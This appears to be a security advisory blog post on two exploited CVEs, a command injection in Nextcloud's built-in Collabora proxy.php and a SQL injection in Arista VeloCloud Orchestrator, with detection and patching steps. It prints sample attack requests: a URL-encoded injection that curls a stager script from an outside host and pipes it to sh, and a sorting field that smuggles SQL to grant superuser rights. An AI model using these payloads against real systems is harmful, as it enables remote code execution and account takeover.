CISA KEV Emergency Directives: Collabora Online Nextcloud RCE (CVE-2026-110447) & Arista VeloCloud SD-WAN SQLi (CVE-2026-114625)

CVE-2026-110447 Collabora Online Nextcloud RCE and CVE-2026-114625 Arista VeloCloud SQLi CISA KEV
📌
Security Roundup Series: Weekend of October 26, 2026 • 7 min read deep dive
🚨
Vulnerability Intelligence: CVE ID: CVE-2026-110447 & CVE-2026-114625 (CWE-78 (OS Command Injection) & CWE-89 (SQL Injection)) Severity: CRITICAL (CISA KEV BOD 26-04) (CVSS 9.2 & 9.9) Threat Actor: In-the-Wild Opportunistic & Espionage Intrusion Clusters Status: Actively Exploited in the Wild; Added to CISA KEV Oct 23–24, 2026 (Federal Compliance Due Oct 26, 2026) Affected Systems: Nextcloud Collabora Built-in CODE Server (richdocumentscode < 26.4.303) & On-Premises Arista VeloCloud Orchestrator (VCO) Fixed In: richdocumentscode 26.4.303+ | Arista VCO 5.2.3.18, 6.1.3.10, and 6.4.2.12+

Today, Monday, October 26, 2026, marks the strict 72-hour federal remediation deadline under CISA Binding Operational Directive (BOD) 26-04 for two critical vulnerabilities added to the Known Exploited Vulnerabilities (KEV) catalog entering the weekend: CVE-2026-110447 (CVSS 9.2), an unauthenticated OS command injection vulnerability in Nextcloud’s Collabora Online – Built-in CODE Server app (richdocumentscode), and CVE-2026-114625 (CVSS 9.9), a privilege-escalating SQL injection zero-day in on-premises Arista VeloCloud Orchestrator (VCO) appliances. Both flaws are under active exploitation in the wild, with threat actors deploying web shells on exposed Nextcloud storage nodes to harvest credential vaults and cryptocurrency wallets while hijacking SD-WAN orchestrators to gain superuser control over enterprise wide-area networks.

CVE-2026-110447 and CVE-2026-114625 Architecture Diagram
Exploitation mechanics for Collabora Online Built-in CODE proxy.php OS command injection (CVE-2026-110447) and Arista VeloCloud Orchestrator SQLi (CVE-2026-114625).

Part 1: Dissecting CVE-2026-110447 in Collabora Online Built-in CODE Server

To allow administrators to deploy real-time document editing in Nextcloud without provisioning an external Docker container or reverse proxy, the richdocumentscode app packages the Collabora Online Development Edition (CODE) server as a self-contained Linux AppImage binary directly inside the Nextcloud web root. Incoming WOPI and WebSocket requests from browsers are routed through apps/richdocumentscode/proxy.php, which both proxies traffic to the local loopback port (127.0.0.1:9983) and automatically spawns the AppImage process if it is not currently running.

Root Cause: Unauthenticated Fallback Execution When CODE Is Stopped

The architectural fatal flaw in richdocumentscode versions prior to 26.4.303 lies in how proxy.php handles requests when the local CODE server daemon is stopped (for example, right after a system reboot, an automated PHP-FPM pool reload, an out-of-memory crash, or when an attacker intentionally triggers a worker timeout).

  1. Missing Core Nextcloud Bootstrap Auth: To minimize latency on high-frequency WebSocket frames, proxy.php operates as a standalone entrypoint that does not enforce Nextcloud’s authenticated user session middleware before checking daemon status.
  2. Unsanitized Shell Invocation: When proxy.php detects that the local CODE PID is inactive and receives a startup/status request, it constructs a shell command string to invoke the bundled AppImage launcher and passes request-derived URI/configuration parameters directly to exec() / popen() without escapeshellarg() sanitization.
GET /apps/richdocumentscode/proxy.php?status&template_path=%27%3Bcurl+-s+http%3A%2F%2F198.51.100.44%2Fstager.sh%7Csh%3B%27 HTTP/1.1
Host: cloud.target-enterprise.org
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept: */*

Note that standalone Collabora Online deployments (running in dedicated Docker containers or Linux packages outside Nextcloud’s web root) and Nextcloud instances that only install the connector app (richdocuments) without richdocumentscode are not affected. However, on any Nextcloud server with richdocumentscode < 26.4.303 present—even if the built-in server is idle—attackers have used this vector since September/October 2026 to write persistent PHP web shells into custom_apps/, dump config/config.php (which contains the Nextcloud passwordsalt, secret, and database credentials), and exfiltrate KeePass (.kdbx) databases and cryptocurrency wallet seeds stored in user directories.


Part 2: Arista VeloCloud Orchestrator SQL Injection Zero-Day (CVE-2026-114625)

Alongside CVE-2026-110447, CISA added CVE-2026-114625 (tracked internally by Arista as BUG2043622, CVSS 9.9 Critical) to the KEV catalog on October 23, 2026. Arista VeloCloud Orchestrator (VCO) serves as the centralized multi-tenant control plane for enterprise SD-WAN deployments, managing routing policies, IPsec VPN overlays, firewall rules, and edge appliance firmware across hundreds or thousands of branch offices.

From Read-Only Tenant User to SD-WAN Superuser Operator

The vulnerability resides in the web-based VCO Portal API on on-premises VCO deployments. While exploitation requires initial authentication, the minimum required privilege level is the lowest possible tier: Enterprise Read-Only (a role frequently assigned to NOC monitors, helpdesk staff, or external auditors, and often exposed via credential stuffing or infostealer logs).

POST /portal/rest/enterprise/getEnterpriseEvents HTTP/1.1
Host: vco.enterprise-wan.net
Cookie: velocloud.session=s%3A8f92a1c4...
Content-Type: application/json

{
  "enterpriseId": 14,
  "filter": {
    "sortBy": "eventTime ASC; UPDATE vco_user_role SET role_id = 1 WHERE user_id = 409; --",
    "limit": 10
  }
}

Because the backend database layer concatenated user-supplied filter/sorting attributes directly into an internal SQL query without parameterized binding, an authenticated read-only user can execute stacked or UNION-based SQL queries against the VCO backend database. Attackers in the wild have used this primitive to:

  • Directly modify the RBAC role mapping tables to elevate their own session to Superuser Operator (global multi-tenant root across the orchestrator).
  • Extract cleartext and reversibly encrypted BGP/OSPF routing passwords, RADIUS/TACACS+ shared secrets, and branch VeloCloud Edge (VCE) bootstrap tokens.
  • Push malicious traffic-steering rules or rogue diagnostic scripts down to branch SD-WAN edges.

Detection Telemetry & Forensic Triage

🔍
Linux & SQL Forensic Hunting Commands for CVE-2026-110447 & CVE-2026-114625 # 1. Nextcloud / Collabora: Hunt for suspicious requests to proxy.php in Nginx/Apache logs grep -E "richdocumentscode/proxy.php" /var/log/nginx/access.log* /var/log/apache2/access.log* | grep -E "(;|%3B|||%7C|`|%60|$(|wget|curl|sh|bash|base64)" # 2. Nextcloud: Scan apps and data directories for unauthorized PHP files created in the last 45 days find /var/www/nextcloud/apps /var/www/nextcloud/custom_apps -name "*.php" -mtime -45 -ls # 3. Arista VeloCloud VCO: Audit internal database for unexpected Superuser Operator (role_id=1) accounts mysql -u root -p vco_db -e "SELECT u.id, u.username, u.email, r.role_name, u.modified_at FROM vco_user u JOIN vco_role r ON u.role_id = r.id WHERE r.role_name LIKE '%Operator%' OR r.id = 1 ORDER BY u.modified_at DESC;"

Remediation & Hardening Steps

  1. Patch or Remove richdocumentscode Immediately: Run sudo -u www-data php occ app:update richdocumentscode to upgrade to version 26.4.303 or later. If your organization uses a standalone Collabora server or does not require built-in editing, run sudo -u www-data php occ app:remove richdocumentscode and verify the directory apps/richdocumentscode/ is completely deleted from disk.
  2. Rotate Nextcloud Secrets if Exposed: If proxy.php was reachable on an unpatched instance, rotate the database password in config/config.php, invalidate all active user sessions/app passwords, and inspect user file trees for unauthorized reads of sensitive vaults.
  3. Upgrade Arista VeloCloud Orchestrator: Upgrade on-premises VCO appliances immediately to 5.2.3.18, 6.1.3.10, or 6.4.2.12+. Restrict VCO web portal access strictly to dedicated management jump hosts protected by FIDO2 MFA.

Read more

Guía de Blindaje Empresarial para el Black October Runtimes Políglotas ESXi VMDK y Sandboxes de IA

Guía de Blindaje Empresarial para el "Black October": Protección de Runtimes Políglotas, Integridad .pth en Python, Cifrado VMDK en ESXi y Sandboxes de IA

📌Security Roundup Series: Fin de Semana del 26 de Octubre de 2026 • 8 min de lectura deep dive🛡️Vulnerability Intelligence: CVE ID: ARQUITECTURA DE DEFENSA EN PROFUNDIDAD (Seguridad de Memoria en Runtimes, Integridad de Cadena de Suministro, Aislamiento ESXi y Contención de IA) Severity: MANUAL ESTRATÉGICO Y DE INGENIERÍA (CVSS

By James Luther
SafePay AA26-293A Emperador Ransomware AB InBev Capcom ID 11.77M y PingCAP TiDB Cloud

Forense de Ransomware y Megabrechas: Alerta SafePay de CISA (AA26-293A), Emperador Ataca a AB InBev, Capcom ID (11.77M) y PingCAP TiDB Cloud

📌Security Roundup Series: Fin de Semana del 26 de Octubre de 2026 • 7 min de lectura deep dive🏛️Incident Overview: Target / Organization: Objetivos Globales: SafePay (600+ Organizaciones), AB InBev, Capcom ID (11.77M), PingCAP TiDB Cloud, CenterPoint Energy (7.49M) y Burger King Japón (11.18M) Threat Actor / Attribution: Grupo

By James Luther
Cadena KEV Plex2Shell Siemens Romulus CVE-2026-110936 FortiSIEM CVE-2026-106173 y Cisco Expressway

Cadenas de Exploits Empresariales y KEV: RCE en Plex2Shell, DLL Sideloading "Romulus" en Siemens (CVE-2026-110936), FortiSIEM gRPC y Cisco Expressway

📌Security Roundup Series: Fin de Semana del 26 de Octubre de 2026 • 7 min de lectura deep dive🛡️Vulnerability Intelligence: CVE ID: CVE-2026-96652..96656, CVE-2026-110936, CVE-2026-106173 y CVE-2026-76466 (CWE-918 (SSRF), CWE-427 (Ruta de Búsqueda No Controlada), CWE-22 (Path Traversal) y CWE-295 (Validación TLS)) Severity: CRÍTICA (CISA KEV E INFRAESTRUCTURA EMPRESARIAL)

By James Luther
CVE-2026-91403 Crisis WebPKI de eMudhra Claves Privadas de 8 Bits y Revocación en Oracle Java SE

CVE-2026-91403 y la Crisis WebPKI de eMudhra: Cómo Claves Privadas de 8 Bits (< 256) Forzaron Revocaciones de Emergencia en Java y Sistemas Operativos

📌Security Roundup Series: Fin de Semana del 26 de Octubre de 2026 • 6 min de lectura deep dive🚨Vulnerability Intelligence: CVE ID: CVE-2026-91403 (CWE-331 / CWE-326 (Entropía Insuficiente / Fuerza de Cifrado Inadecuada)) Severity: CRÍTICA (EMERGENCIA CRIPTOGRÁFICA WEBPKI) (CVSS 9.1) Threat Actor: Cualquier Adversario con Capacidad de Interceptación TLS MitM o

By James Luther